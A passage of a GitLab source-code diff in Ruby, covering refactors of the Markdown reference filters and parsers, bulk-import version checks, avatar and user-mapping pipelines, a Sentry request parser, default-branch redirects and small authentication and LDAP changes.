+++ b/lib/banzai/filter/references/label_reference_filter.rb
@@ -11,13 +11,21 @@ module Banzai
def parent_records(parent, ids)
return Label.none unless parent.is_a?(Project) || parent.is_a?(Group)
- labels = find_labels(parent)
- label_ids = ids.map {|y| y[:label_id]}.compact
- label_names = ids.map {|y| y[:label_name]}.compact
- id_relation = labels.where(id: label_ids)
- label_relation = labels.where(title: label_names)
+ labels = find_labels(parent)
+ label_ids = ids.map {|y| y[:label_id]}.compact
- Label.from_union([id_relation, label_relation])
+ unless label_ids.empty?
+ id_relation = labels.where(id: label_ids)
+ end
+
+ label_names = ids.map {|y| y[:label_name]}.compact
+ unless label_names.empty?
+ label_relation = labels.where(title: label_names)
+ end
+
+ return Label.none if (relation = [id_relation, label_relation].compact).empty?
+
+ Label.from_union(relation)
end
def find_object(parent_object, id)
diff --git a/lib/banzai/filter/references/milestone_reference_filter.rb b/lib/banzai/filter/references/milestone_reference_filter.rb
index 31a961f3e73..d992e667056 100644
--- a/lib/banzai/filter/references/milestone_reference_filter.rb
+++ b/lib/banzai/filter/references/milestone_reference_filter.rb
@@ -10,19 +10,55 @@ module Banzai
self.reference_type = :milestone
self.object_class = Milestone
- # Links to project milestones contain the IID, but when we're handling
- # 'regular' references, we need to use the global ID to disambiguate
- # between group and project milestones.
- def find_object(parent, id)
- return unless valid_context?(parent)
+ def parent_records(parent, ids)
+ return Milestone.none unless valid_context?(parent)
- find_milestone_with_finder(parent, id: id)
+ milestone_iids = ids.map {|y| y[:milestone_iid]}.compact
+ unless milestone_iids.empty?
+ iid_relation = find_milestones(parent, true).where(iid: milestone_iids)
+ end
+
+ milestone_names = ids.map {|y| y[:milestone_name]}.compact
+ unless milestone_names.empty?
+ milestone_relation = find_milestones(parent, false).where(name: milestone_names)
+ end
+
+ return Milestone.none if (relation = [iid_relation, milestone_relation].compact).empty?
+
+ Milestone.from_union(relation).includes(:project, :group)
+ end
+
+ def find_object(parent_object, id)
+ key = reference_cache.records_per_parent[parent_object].keys.find do |k|
+ k[:milestone_iid] == id[:milestone_iid] || k[:milestone_name] == id[:milestone_name]
+ end
+
+ reference_cache.records_per_parent[parent_object][key] if key
end
- def find_object_from_link(parent, iid)
- return unless valid_context?(parent)
+ # Transform a symbol extracted from the text to a meaningful value
+ #
+ # This method has the contract that if a string `ref` refers to a
+ # record `record`, then `parse_symbol(ref) == record_identifier(record)`.
+ #
+ # This contract is slightly broken here, as we only have either the milestone_iid
+ # or the milestone_name, but not both. But below, we have both pieces of information.
+ # But it's accounted for in `find_object`
+ def parse_symbol(symbol, match_data)
+ if symbol
+ # when parsing links, there is no `match_data[:milestone_iid]`, but `symbol`
+ # holds the iid
+ { milestone_iid: symbol.to_i, milestone_name: nil }
+ else
+ { milestone_iid: match_data[:milestone_iid]&.to_i, milestone_name: match_data[:milestone_name]&.tr('"', '') }
+ end
+ end
- find_milestone_with_finder(parent, iid: iid)
+ # This method has the contract that if a string `ref` refers to a
+ # record `record`, then `class.parse_symbol(ref) == record_identifier(record)`.
+ # See note in `parse_symbol` above
+ def record_identifier(record)
+ { milestone_iid: record.iid, milestone_name: record.name }
end
def valid_context?(parent)
@@ -50,12 +86,14 @@ module Banzai
return super(text, pattern) if pattern != Milestone.reference_pattern
milestones = {}
- unescaped_html = unescape_html_entities(text).gsub(pattern) do |match|
- milestone = find_milestone($~[:project], $~[:namespace], $~[:milestone_iid], $~[:milestone_name])
- if milestone
- milestones[milestone.id] = yield match, milestone.id, $~[:project], $~[:namespace], $~
- "#{REFERENCE_PLACEHOLDER}#{milestone.id}"
+ unescaped_html = unescape_html_entities(text).gsub(pattern).with_index do |match, index|
+ ident = identifier($~)
+ milestone = yield match, ident, $~[:project], $~[:namespace], $~
+
+ if milestone != match
+ milestones[index] = milestone
+ "#{REFERENCE_PLACEHOLDER}#{index}"
else
match
end
@@ -66,31 +104,10 @@ module Banzai
escape_with_placeholders(unescaped_html, milestones)
end
- def find_milestone(project_ref, namespace_ref, milestone_id, milestone_name)
- project_path = reference_cache.full_project_path(namespace_ref, project_ref)
-
- # Returns group if project is not found by path
- parent = parent_from_ref(project_path)
+ def find_milestones(parent, find_by_iid = false)
+ finder_params = milestone_finder_params(parent, find_by_iid)
- return unless parent
-
- milestone_params = milestone_params(milestone_id, milestone_name)
-
- find_milestone_with_finder(parent, milestone_params)
- end
-
- def milestone_params(iid, name)
- if name
- { name: name.tr('"', '') }
- else
- { iid: iid.to_i }
- end
- end
-
- def find_milestone_with_finder(parent, params)
- finder_params = milestone_finder_params(parent, params[:iid].present?)
-
- MilestonesFinder.new(finder_params).find_by(params)
+ MilestonesFinder.new(finder_params).execute
end
def milestone_finder_params(parent, find_by_iid)
@@ -131,6 +148,14 @@ module Banzai
def object_link_title(object, matches)
nil
end
+
+ def parent
+ project || group
+ end
+
+ def requires_unescaping?
+ true
+ end
end
end
end
diff --git a/lib/banzai/filter/upload_link_filter.rb b/lib/banzai/filter/upload_link_filter.rb
index 2572481c8fc..b110c59a4f1 100644
--- a/lib/banzai/filter/upload_link_filter.rb
+++ b/lib/banzai/filter/upload_link_filter.rb
@@ -45,13 +45,15 @@ module Banzai
return
end
- html_attr.value =
+ path =
if context[:only_path]
path
else
Addressable::URI.join(Gitlab.config.gitlab.base_url, path).to_s
end
+ replace_html_attr_value(html_attr, path)
+
if html_attr.name == 'href'
html_attr.parent.set_attribute('data-link', 'true')
end
@@ -59,6 +61,21 @@ module Banzai
html_attr.parent.add_class('gfm')
end
+ def replace_html_attr_value(html_attr, path)
+ if path != html_attr.value
+ preserve_original_link(html_attr, html_attr.parent)
+ end
+
+ html_attr.value = path
+ end
+
+ def preserve_original_link(html_attr, node)
+ return if html_attr.blank?
+ return if node.value?('data-canonical-src')
+
+ node.set_attribute('data-canonical-src', html_attr.value)
+ end
+
def group
context[:group]
end
diff --git a/lib/banzai/filter/wiki_link_filter.rb b/lib/banzai/filter/wiki_link_filter.rb
index 2b95d87ff8e..0736181d940 100644
--- a/lib/banzai/filter/wiki_link_filter.rb
+++ b/lib/banzai/filter/wiki_link_filter.rb
@@ -36,7 +36,7 @@ module Banzai
protected
def process_link(link_attr, node)
- process_link_attr(link_attr)
+ process_link_attr(link_attr, node)
remove_unsafe_links({ node: node }, remove_invalid_links: false)
end
@@ -44,14 +44,27 @@ module Banzai
!context[:wiki].nil?
end
- def process_link_attr(html_attr)
+ def process_link_attr(html_attr, node)
return if html_attr.blank?
- html_attr.value = apply_rewrite_rules(html_attr.value)
+ rewritten_value = apply_rewrite_rules(html_attr.value)
+
+ if html_attr.value != rewritten_value
+ preserve_original_link(html_attr, node)
+ end
+
+ html_attr.value = rewritten_value
rescue URI::Error, Addressable::URI::InvalidURIError
# noop
end
+ def preserve_original_link(html_attr, node)
+ return if html_attr.blank?
+ return if node.value?('data-canonical-src')
+
+ node.set_attribute('data-canonical-src', html_attr.value)
+ end
+
def apply_rewrite_rules(link_string)
Rewriter.new(link_string, wiki: context[:wiki], slug: context[:page_slug]).apply_rules
end
diff --git a/lib/banzai/reference_extractor.rb b/lib/banzai/reference_extractor.rb
index 3fc3ae02088..af0dcad107e 100644
--- a/lib/banzai/reference_extractor.rb
+++ b/lib/banzai/reference_extractor.rb
@@ -11,11 +11,11 @@ module Banzai
@texts_and_contexts << { text: text, context: context }
end
- def references(type, project, current_user = nil)
+ def references(type, project, current_user, ids_only: false)
context = RenderContext.new(project, current_user)
processor = Banzai::ReferenceParser[type].new(context)
- processor.process(html_documents)
+ processor.process(html_documents, ids_only: ids_only)
end
def reset_memoized_values
diff --git a/lib/banzai/reference_parser/base_parser.rb b/lib/banzai/reference_parser/base_parser.rb
index 3dfea8ee895..0c015ba00c7 100644
--- a/lib/banzai/reference_parser/base_parser.rb
+++ b/lib/banzai/reference_parser/base_parser.rb
@@ -76,9 +76,11 @@ module Banzai
end
# Returns an Array of objects referenced by any of the given HTML nodes.
- def referenced_by(nodes)
+ def referenced_by(nodes, options = {})
ids = unique_attribute_values(nodes, self.class.data_attribute)
+ return ids if options.fetch(:ids_only, false)
+
if ids.empty?
references_relation.none
else
@@ -194,7 +196,7 @@ module Banzai
# Processes the list of HTML documents and returns an Array containing all
# the references.
- def process(documents)
+ def process(documents, ids_only: false)
type = self.class.reference_type
reference_options = self.class.reference_options
@@ -202,17 +204,17 @@ module Banzai
Querying.css(document, "a[data-reference-type='#{type}'].gfm", reference_options).to_a
end
- gather_references(nodes)
+ gather_references(nodes, ids_only: ids_only)
end
# Gathers the references for the given HTML nodes. Returns visible
# references and a list of nodes which are not visible to the user
- def gather_references(nodes)
+ def gather_references(nodes, ids_only: false)
nodes = nodes_user_can_reference(current_user, nodes)
visible = nodes_visible_to_user(current_user, nodes)
not_visible = nodes - visible
- { visible: referenced_by(visible), not_visible: not_visible }
+ { visible: referenced_by(visible, ids_only: ids_only), not_visible: not_visible }
end
# Returns a Hash containing the projects for a given list of HTML nodes.
diff --git a/lib/banzai/reference_parser/commit_parser.rb b/lib/banzai/reference_parser/commit_parser.rb
index 0bfb6a92020..88896970bc6 100644
--- a/lib/banzai/reference_parser/commit_parser.rb
+++ b/lib/banzai/reference_parser/commit_parser.rb
@@ -5,7 +5,7 @@ module Banzai
class CommitParser < BaseParser
self.reference_type = :commit
- def referenced_by(nodes)
+ def referenced_by(nodes, options = {})
commit_ids = commit_ids_per_project(nodes)
projects = find_projects_for_hash_keys(commit_ids)
diff --git a/lib/banzai/reference_parser/commit_range_parser.rb b/lib/banzai/reference_parser/commit_range_parser.rb
index 480eefd5c4d..fb4a392105f 100644
--- a/lib/banzai/reference_parser/commit_range_parser.rb
+++ b/lib/banzai/reference_parser/commit_range_parser.rb
@@ -5,7 +5,7 @@ module Banzai
class CommitRangeParser < BaseParser
self.reference_type = :commit_range
- def referenced_by(nodes)
+ def referenced_by(nodes, options = {})
range_ids = commit_range_ids_per_project(nodes)
projects = find_projects_for_hash_keys(range_ids)
diff --git a/lib/banzai/reference_parser/external_issue_parser.rb b/lib/banzai/reference_parser/external_issue_parser.rb
index 029b09dcd25..e8ee337064a 100644
--- a/lib/banzai/reference_parser/external_issue_parser.rb
+++ b/lib/banzai/reference_parser/external_issue_parser.rb
@@ -5,7 +5,7 @@ module Banzai
class ExternalIssueParser < BaseParser
self.reference_type = :external_issue
- def referenced_by(nodes)
+ def referenced_by(nodes, options = {})
issue_ids = issue_ids_per_project(nodes)
projects = find_projects_for_hash_keys(issue_ids)
issues = []
diff --git a/lib/banzai/reference_parser/issuable_parser.rb b/lib/banzai/reference_parser/issuable_parser.rb
index f8c26288017..efcaa6664b6 100644
--- a/lib/banzai/reference_parser/issuable_parser.rb
+++ b/lib/banzai/reference_parser/issuable_parser.rb
@@ -13,7 +13,7 @@ module Banzai
end
end
- def referenced_by(nodes)
+ def referenced_by(nodes, options = {})
records = records_for_nodes(nodes)
nodes.map { |node| records[node] }.compact.uniq
diff --git a/lib/banzai/reference_parser/user_parser.rb b/lib/banzai/reference_parser/user_parser.rb
index 36c41c6615f..c40ca9dc7cd 100644
--- a/lib/banzai/reference_parser/user_parser.rb
+++ b/lib/banzai/reference_parser/user_parser.rb
@@ -5,7 +5,7 @@ module Banzai
class UserParser < BaseParser
self.reference_type = :user
- def referenced_by(nodes)
+ def referenced_by(nodes, options = {})
group_ids = []
user_ids = []
project_ids = []
diff --git a/lib/bulk_imports/clients/graphql.rb b/lib/bulk_imports/clients/graphql.rb
index ca549c4be14..0adc2b1c57f 100644
--- a/lib/bulk_imports/clients/graphql.rb
+++ b/lib/bulk_imports/clients/graphql.rb
@@ -23,15 +23,19 @@ module BulkImports
attr_reader :client
- delegate :query, :parse, :execute, to: :client
+ delegate :query, :parse, to: :client
def initialize(url: Gitlab::Saas.com_url, token: nil)
@url = Gitlab::Utils.append_path(url, '/api/graphql')
@token = token
- @client = Graphlient::Client.new(
- @url,
- options(http: HTTP)
- )
+ @client = Graphlient::Client.new(@url, options(http: HTTP))
+ @compatible_instance_version = false
+ end
+
+ def execute(*args)
+ validate_instance_version!
+
+ client.execute(*args)
end
def options(extra = {})
@@ -44,6 +48,19 @@ module BulkImports
}
}.merge(extra)
end
+
+ def validate_instance_version!
+ return if @compatible_instance_version
+
+ response = client.execute('{ metadata { version } }')
+ version = Gitlab::VersionInfo.parse(response.data.metadata.version)
+
+ if version.major < BulkImport::MINIMUM_GITLAB_MAJOR_VERSION
+ raise ::BulkImports::Error.unsupported_gitlab_version
+ else
+ @compatible_instance_version = true
+ end
+ end
end
end
end
diff --git a/lib/bulk_imports/clients/http.rb b/lib/bulk_imports/clients/http.rb
index c5f12d8c2ba..6c363a3552f 100644
--- a/lib/bulk_imports/clients/http.rb
+++ b/lib/bulk_imports/clients/http.rb
@@ -7,14 +7,13 @@ module BulkImports
DEFAULT_PAGE = 1
DEFAULT_PER_PAGE = 30
- ConnectionError = Class.new(StandardError)
-
- def initialize(uri:, token:, page: DEFAULT_PAGE, per_page: DEFAULT_PER_PAGE, api_version: API_VERSION)
- @uri = URI.parse(uri)
+ def initialize(url:, token:, page: DEFAULT_PAGE, per_page: DEFAULT_PER_PAGE, api_version: API_VERSION)
+ @url = url
@token = token&.strip
@page = page
@per_page = per_page
@api_version = api_version
+ @compatible_instance_version = false
end
def get(resource, query = {})
@@ -53,10 +52,28 @@ module BulkImports
Gitlab::Utils.append_path(api_url, resource)
end
+ def validate_instance_version!
+ return if @compatible_instance_version
+
+ response = with_error_handling do
+ Gitlab::HTTP.get(resource_url(:version), default_options)
+ end
+
+ version = Gitlab::VersionInfo.parse(response.parsed_response['version'])
+
+ if version.major < BulkImport::MINIMUM_GITLAB_MAJOR_VERSION
+ raise ::BulkImports::Error.unsupported_gitlab_version
+ else
+ @compatible_instance_version = true
+ end
+ end
+
private
# rubocop:disable GitlabSecurity/PublicSend
def request(method, resource, options = {}, &block)
+ validate_instance_version!
+
with_error_handling do
Gitlab::HTTP.public_send(
method,
@@ -96,19 +113,15 @@ module BulkImports
def with_error_handling
response = yield
- raise ConnectionError, "Error #{response.code}" unless response.success?
+ raise(::BulkImports::Error, "Error #{response.code}") unless response.success?
response
rescue *Gitlab::HTTP::HTTP_ERRORS => e
- raise ConnectionError, e
- end
-
- def base_uri
- @base_uri ||= "#{@uri.scheme}://#{@uri.host}:#{@uri.port}"
+ raise(::BulkImports::Error, e)
end
def api_url
- Gitlab::Utils.append_path(base_uri, "/api/#{@api_version}")
+ Gitlab::Utils.append_path(@url, "/api/#{@api_version}")
end
end
end
diff --git a/lib/bulk_imports/common/extractors/ndjson_extractor.rb b/lib/bulk_imports/common/extractors/ndjson_extractor.rb
index 79d626001a0..788d10ca364 100644
--- a/lib/bulk_imports/common/extractors/ndjson_extractor.rb
+++ b/lib/bulk_imports/common/extractors/ndjson_extractor.rb
@@ -7,6 +7,8 @@ module BulkImports
include Gitlab::ImportExport::CommandLineUtil
include Gitlab::Utils::StrongMemoize
+ FILE_SIZE_LIMIT = 5.gigabytes
+ ALLOWED_CONTENT_TYPES = %w(application/gzip application/octet-stream).freeze
EXPORT_DOWNLOAD_URL_PATH = "/%{resource}/%{full_path}/export_relations/download?relation=%{relation}"
def initialize(relation:)
@@ -39,7 +41,9 @@ module BulkImports
configuration: context.configuration,
relative_url: relative_resource_url(context),
dir: tmp_dir,
- filename: filename
+ filename: filename,
+ file_size_limit: FILE_SIZE_LIMIT,
+ allowed_content_types: ALLOWED_CONTENT_TYPES
)
end
diff --git a/lib/bulk_imports/common/extractors/rest_extractor.rb b/lib/bulk_imports/common/extractors/rest_extractor.rb
index 2179e0575c5..88315305222 100644
--- a/lib/bulk_imports/common/extractors/rest_extractor.rb
+++ b/lib/bulk_imports/common/extractors/rest_extractor.rb
@@ -25,7 +25,7 @@ module BulkImports
def http_client(configuration)
@http_client ||= BulkImports::Clients::HTTP.new(
- uri: configuration.url,
+ url: configuration.url,
token: configuration.access_token,
per_page: 100
)
diff --git a/lib/bulk_imports/error.rb b/lib/bulk_imports/error.rb
new file mode 100644
index 00000000000..0464aea642e
--- /dev/null
+++ b/lib/bulk_imports/error.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module BulkImports
+ class Error < StandardError
+ def self.unsupported_gitlab_version
+ self.new("Unsupported GitLab Version. Minimum Supported Gitlab Version #{BulkImport::MINIMUM_GITLAB_MAJOR_VERSION}.")
+ end
+ end
+end
diff --git a/lib/bulk_imports/groups/extractors/subgroups_extractor.rb b/lib/bulk_imports/groups/extractors/subgroups_extractor.rb
index db5882d49a9..1140beef48c 100644
--- a/lib/bulk_imports/groups/extractors/subgroups_extractor.rb
+++ b/lib/bulk_imports/groups/extractors/subgroups_extractor.rb
@@ -18,7 +18,7 @@ module BulkImports
def http_client(configuration)
@http_client ||= BulkImports::Clients::HTTP.new(
- uri: configuration.url,
+ url: configuration.url,
token: configuration.access_token,
per_page: 100
)
diff --git a/lib/bulk_imports/groups/graphql/get_members_query.rb b/lib/bulk_imports/groups/graphql/get_members_query.rb
index e44d3c5aa9b..e76c87cc521 100644
--- a/lib/bulk_imports/groups/graphql/get_members_query.rb
+++ b/lib/bulk_imports/groups/graphql/get_members_query.rb
@@ -22,6 +22,7 @@ module BulkImports
integer_value: integerValue
}
user {
+ user_gid: id
public_email: publicEmail
}
}
diff --git a/lib/bulk_imports/groups/pipelines/group_avatar_pipeline.rb b/lib/bulk_imports/groups/pipelines/group_avatar_pipeline.rb
new file mode 100644
index 00000000000..6de8bbbc910
--- /dev/null
+++ b/lib/bulk_imports/groups/pipelines/group_avatar_pipeline.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+module BulkImports
+ module Groups
+ module Pipelines
+ class GroupAvatarPipeline
+ include Pipeline
+
+ ALLOWED_AVATAR_DOWNLOAD_TYPES = (AvatarUploader::MIME_WHITELIST + %w(application/octet-stream)).freeze
+
+ GroupAvatarLoadingError = Class.new(StandardError)
+
+ def extract(context)
+ context.extra[:tmpdir] = Dir.mktmpdir
+
+ filepath = BulkImports::FileDownloadService.new(
+ configuration: context.configuration,
+ relative_url: "/groups/#{context.entity.encoded_source_full_path}/avatar",
+ dir: context.extra[:tmpdir],
+ file_size_limit: Avatarable::MAXIMUM_FILE_SIZE,
+ allowed_content_types: ALLOWED_AVATAR_DOWNLOAD_TYPES
+ ).execute
+
+ BulkImports::Pipeline::ExtractedData.new(data: { filepath: filepath })
+ end
+
+ def load(context, data)
+ return if data.blank?
+
+ File.open(data[:filepath]) do |avatar|
+ service = ::Groups::UpdateService.new(
+ portable,
+ current_user,
+ avatar: avatar
+ )
+
+ unless service.execute
+ raise GroupAvatarLoadingError, portable.errors.full_messages.first
+ end
+ end
+ end
+
+ def after_run(_)
+ FileUtils.remove_entry(context.extra[:tmpdir]) if context.extra[:tmpdir].present?
+ end
+ end
+ end
+ end
+end
diff --git a/lib/bulk_imports/groups/pipelines/members_pipeline.rb b/lib/bulk_imports/groups/pipelines/members_pipeline.rb
index 5e4293d2c06..265abd5e3a7 100644
--- a/lib/bulk_imports/groups/pipelines/members_pipeline.rb
+++ b/lib/bulk_imports/groups/pipelines/members_pipeline.rb
@@ -15,6 +15,9 @@ module BulkImports
def load(context, data)
return unless data
+ # Current user is already a member
+ return if data['user_id'].to_i == context.current_user.id
+
context.group.members.create!(data)
end
end
diff --git a/lib/bulk_imports/groups/transformers/member_attributes_transformer.rb b/lib/bulk_imports/groups/transformers/member_attributes_transformer.rb
index e92c898171a..b9de375d0e9 100644
--- a/lib/bulk_imports/groups/transformers/member_attributes_transformer.rb
+++ b/lib/bulk_imports/groups/transformers/member_attributes_transformer.rb
@@ -6,18 +6,20 @@ module BulkImports
class MemberAttributesTransformer
def transform(context, data)
data
- .then { |data| add_user(data) }
+ .then { |data| add_user(data, context) }
.then { |data| add_access_level(data) }
.then { |data| add_author(data, context) }
end
private
- def add_user(data)
+ def add_user(data, context)
user = find_user(data&.dig('user', 'public_email'))
return unless user
+ cache_source_user_id(data, user, context)
+
data
.except('user')
.merge('user_id' => user.id)
@@ -48,6 +50,16 @@ module BulkImports
data.merge('created_by_id' => context.current_user.id)
end
+
+ def cache_source_user_id(data, user, context)
+ gid = data&.dig('user', 'user_gid')
+
+ return unless gid
+
+ source_user_id = GlobalID.parse(gid).model_id
+
+ ::BulkImports::UsersMapper.new(context: context).cache_source_user_id(source_user_id, user.id)
+ end
end
end
end
diff --git a/lib/bulk_imports/ndjson_pipeline.rb b/lib/bulk_imports/ndjson_pipeline.rb
index 2de06bbcb88..93fd6986173 100644
--- a/lib/bulk_imports/ndjson_pipeline.rb
+++ b/lib/bulk_imports/ndjson_pipeline.rb
@@ -88,11 +88,7 @@ module BulkImports
end
def members_mapper
- @members_mapper ||= Gitlab::ImportExport::MembersMapper.new(
- exported_members: [],
- user: current_user,
- importable: portable
- )
+ @members_mapper ||= BulkImports::UsersMapper.new(context: context)
end
end
end
diff --git a/lib/bulk_imports/stage.rb b/lib/bulk_imports/stage.rb
index bc7fc14b5a0..b1bceecbaea 100644
--- a/lib/bulk_imports/stage.rb
+++ b/lib/bulk_imports/stage.rb
@@ -9,6 +9,10 @@ module BulkImports
pipeline: BulkImports::Groups::Pipelines::GroupPipeline,
stage: 0
},
+ avatar: {
+ pipeline: BulkImports::Groups::Pipelines::GroupAvatarPipeline,
+ stage: 1
+ },
subgroups: {
pipeline: BulkImports::Groups::Pipelines::SubgroupEntitiesPipeline,
stage: 1
diff --git a/lib/bulk_imports/users_mapper.rb b/lib/bulk_imports/users_mapper.rb
new file mode 100644
index 00000000000..74412bc3831
--- /dev/null
+++ b/lib/bulk_imports/users_mapper.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+module BulkImports
+ class UsersMapper
+ include Gitlab::Utils::StrongMemoize
+
+ SOURCE_USER_IDS_CACHE_KEY = 'bulk_imports/%{bulk_import}/%{entity}/source_user_ids'
+
+ def initialize(context:)
+ @context = context
+ @cache_key = SOURCE_USER_IDS_CACHE_KEY % {
+ bulk_import: @context.bulk_import.id,
+ entity: @context.entity.id
+ }
+ end
+
+ def map
+ strong_memoize(:map) do
+ map = hash_with_default
+
+ cached_source_user_ids.each_pair do |source_id, destination_id|
+ map[source_id.to_i] = destination_id.to_i
+ end
+
+ map
+ end
+ end
+
+ def include?(source_user_id)
+ map.has_key?(source_user_id)
+ end
+
+ def default_user_id
+ @context.current_user.id
+ end
+
+ def cache_source_user_id(source_id, destination_id)
+ ::Gitlab::Cache::Import::Caching.hash_add(@cache_key, source_id, destination_id)
+ end
+
+ private
+
+ def hash_with_default
+ Hash.new { default_user_id }
+ end
+
+ def cached_source_user_ids
+ ::Gitlab::Cache::Import::Caching.values_from_hash(@cache_key)
+ end
+ end
+end
diff --git a/lib/error_tracking/collector/sentry_request_parser.rb b/lib/error_tracking/collector/sentry_request_parser.rb
new file mode 100644
index 00000000000..29e4cc8976f
--- /dev/null
+++ b/lib/error_tracking/collector/sentry_request_parser.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+module ErrorTracking
+ module Collector
+ class SentryRequestParser
+ def self.parse(request)
+ # Request body can be "" or "gzip".
+ # If later then body was compressed with Zlib.gzip
+ encoding = request.headers['Content-Encoding']
+
+ body = if encoding == 'gzip'
+ Zlib.gunzip(request.body.read)
+ else
+ request.body.read
+ end
+
+ # Request body contains 3 json objects merged together in one StringIO.
+ # We need to separate and parse them into array of hash objects.
+ json_objects = []
+ parser = Yajl::Parser.new
+
+ parser.parse(body) do |json_object|
+ json_objects << json_object
+ end
+
+ # The request contains 3 objects: sentry metadata, type data and event data.
+ # We need only last two. Type to decide what to do with the request.
+ # And event data as it contains all information about the exception.
+ _, type, event = json_objects
+
+ {
+ request_type: type['type'],
+ event: event
+ }
+ end
+ end
+ end
+end
diff --git a/lib/extracts_path.rb b/lib/extracts_path.rb
index 4c537eeaa89..055a3a771c2 100644
--- a/lib/extracts_path.rb
+++ b/lib/extracts_path.rb
@@ -26,17 +26,17 @@ module ExtractsPath
# Automatically renders `not_found!` if a valid tree path could not be
# resolved (e.g., when a user inserts an invalid path or ref).
#
+ # Automatically redirects to the current default branch if the ref matches a
+ # previous default branch that has subsequently been deleted.
+ #
# rubocop:disable Gitlab/ModuleWithInstanceVariables
override :assign_ref_vars
def assign_ref_vars
super
- if @path.empty? && !@commit && @id.ends_with?('.atom')
- @id = @ref = extract_ref_without_atom(@id)
- @commit = @repo.commit(@ref)
+ rectify_atom!
- request.format = :atom if @commit
- end
+ rectify_renamed_default_branch! && return
raise InvalidPathError unless @commit
@@ -59,6 +59,42 @@ module ExtractsPath
private
+ # Override in controllers to determine which actions are subject to the redirect
+ def redirect_renamed_default_branch?
+ false
+ end
+
+ # rubocop:disable Gitlab/ModuleWithInstanceVariables
+ def rectify_atom!
+ return if @commit
+ return unless @id.ends_with?('.atom')
+ return unless @path.empty?
+
+ @id = @ref = extract_ref_without_atom(@id)
+ @commit = @repo.commit(@ref)
+
+ request.format = :atom if @commit
+ end
+ # rubocop:enable Gitlab/ModuleWithInstanceVariables
+
+ # For GET/HEAD requests, if the ref doesn't exist in the repository, check
+ # whether we're trying to access a renamed default branch. If we are, we can
+ # redirect to the current default branch instead of rendering a 404.
+ # rubocop:disable Gitlab/ModuleWithInstanceVariables
+ def rectify_renamed_default_branch!
+ return unless redirect_renamed_default_branch?
+ return if @commit
+ return unless @id && @ref && repository_container.respond_to?(:previous_default_branch)
+ return unless repository_container.previous_default_branch == @ref
+ return unless request.get? || request.head?
+
+ flash[:notice] = _('The default branch for this project has been changed. Please update your bookmarks.')
+ redirect_to url_for(id: @id.sub(/\A#{Regexp.escape(@ref)}/, repository_container.default_branch))
+
+ true
+ end
+ # rubocop:enable Gitlab/ModuleWithInstanceVariables
+
override :repository_container
def repository_container
@project
diff --git a/lib/gitlab.rb b/lib/gitlab.rb
index d93d7acbaad..f10168623e9 100644
--- a/lib/gitlab.rb
+++ b/lib/gitlab.rb
@@ -136,6 +136,7 @@ module Gitlab
def self.process_name
return 'sidekiq' if Gitlab::Runtime.sidekiq?
+ return 'action_cable' if Gitlab::Runtime.action_cable?
return 'console' if Gitlab::Runtime.console?
return 'test' if Rails.env.test?
diff --git a/lib/gitlab/analytics/cycle_analytics/stage_events/stage_event.rb b/lib/gitlab/analytics/cycle_analytics/stage_events/stage_event.rb
index 530e53f9d10..8eb067ed0ec 100644
--- a/lib/gitlab/analytics/cycle_analytics/stage_events/stage_event.rb
+++ b/lib/gitlab/analytics/cycle_analytics/stage_events/stage_event.rb
@@ -31,6 +31,10 @@ module Gitlab
raise NotImplementedError
end
+ def hash_code
+ Digest::SHA256.hexdigest(self.class.identifier.to_s)
+ end
+
# Each StageEvent must expose a timestamp or a timestamp like expression in order to build a range query.
# Example: get me all the Issue records between start event end end event
def timestamp_projection
diff --git a/lib/gitlab/analytics/unique_visits.rb b/lib/gitlab/analytics/unique_visits.rb
index 723486231b1..3546a7e3ddb 100644
--- a/lib/gitlab/analytics/unique_visits.rb
+++ b/lib/gitlab/analytics/unique_visits.rb
@@ -3,10 +3,6 @@
module Gitlab
module Analytics
class UniqueVisits
- def track_visit(*args, **kwargs)
- Gitlab::UsageDataCounters::HLLRedisCounter.track_event(*args, **kwargs)
- end
-
# Returns number of unique visitors for given targets in given time frame
#
# @param [String, Array[<String>]] targets ids of targets to count visits on. Special case for :any
diff --git a/lib/gitlab/auth.rb b/lib/gitlab/auth.rb
index 580c7042f1e..8cab2f65726 100644
--- a/lib/gitlab/auth.rb
+++ b/lib/gitlab/auth.rb
@@ -156,10 +156,10 @@ module Gitlab
underscored_service = matched_login['service'].underscore
- return unless Integration.available_services_names.include?(underscored_service)
+ return unless Integration.available_integration_names.include?(underscored_service)
# We treat underscored_service as a trusted input because it is included
- # in the Integration.available_services_names allowlist.
+ # in the Integration.available_integration_names allowlist.
accessor = Project.integration_association_name(underscored_service)
service = project.public_send(accessor) # rubocop:disable GitlabSecurity/PublicSend
diff --git a/lib/gitlab/auth/auth_finders.rb b/lib/gitlab/auth/auth_finders.rb
index 416e36c7ccb..0796f23fbfe 100644
--- a/lib/gitlab/auth/auth_finders.rb
+++ b/lib/gitlab/auth/auth_finders.rb
@@ -89,9 +89,11 @@ module Gitlab
job.user
end
- # We only allow Private Access Tokens with `api` scope to be used by web
+ # We allow Private Access Tokens with `api` scope to be used by web
# requests on RSS feeds or ICS files for backwards compatibility.
# It is also used by GraphQL/API requests.
+ # And to allow accessing /archive programatically as it was a big pain point
+ # for users https://gitlab.com/gitlab-org/gitlab/-/issues/28978.
def find_user_from_web_access_token(request_format, scopes: [:api])
return unless access_token && valid_web_access_format?(request_format)
@@ -269,6 +271,8 @@ module Gitlab
ics_request?
when :api
api_request?
+ when :archive
+ archive_request? if Feature.enabled?(:allow_archive_as_web_access_format, default_enabled: :yaml)
end
end
diff --git a/lib/gitlab/auth/ldap/adapter.rb b/lib/gitlab/auth/ldap/adapter.rb
index 3853709698b..47eca74aa5b 100644
--- a/lib/gitlab/auth/ldap/adapter.rb
+++ b/lib/gitlab/auth/ldap/adapter.rb
@@ -53,11 +53,7 @@ module Gitlab
if results.nil?
response = ldap.get_operation_result
-
- unless response.code == 0
- Gitlab::AppLogger.warn("LDAP search error: #{response.message}")
- end
-
+ check_empty_response_code(response)
[]
else
results
@@ -136,6 +132,16 @@ module Gitlab
def renew_connection_adapter
@ldap = Net::LDAP.new(config.adapter_options)
end
+
+ def check_empty_response_code(response)
+ if config.retry_empty_result_with_codes.include?(response.code)
+ raise Net::LDAP::Error, "Got empty results with response code: #{response.code}, message: #{response.message}"
+ end
+
+ unless response.code == 0
+ Gitlab::AppLogger.warn("LDAP search error: #{response.message}")
+ end
+ end
end
end
end
diff --git a/lib/gitlab/auth/ldap/config.rb b/lib/gitlab/auth/ldap/config.rb
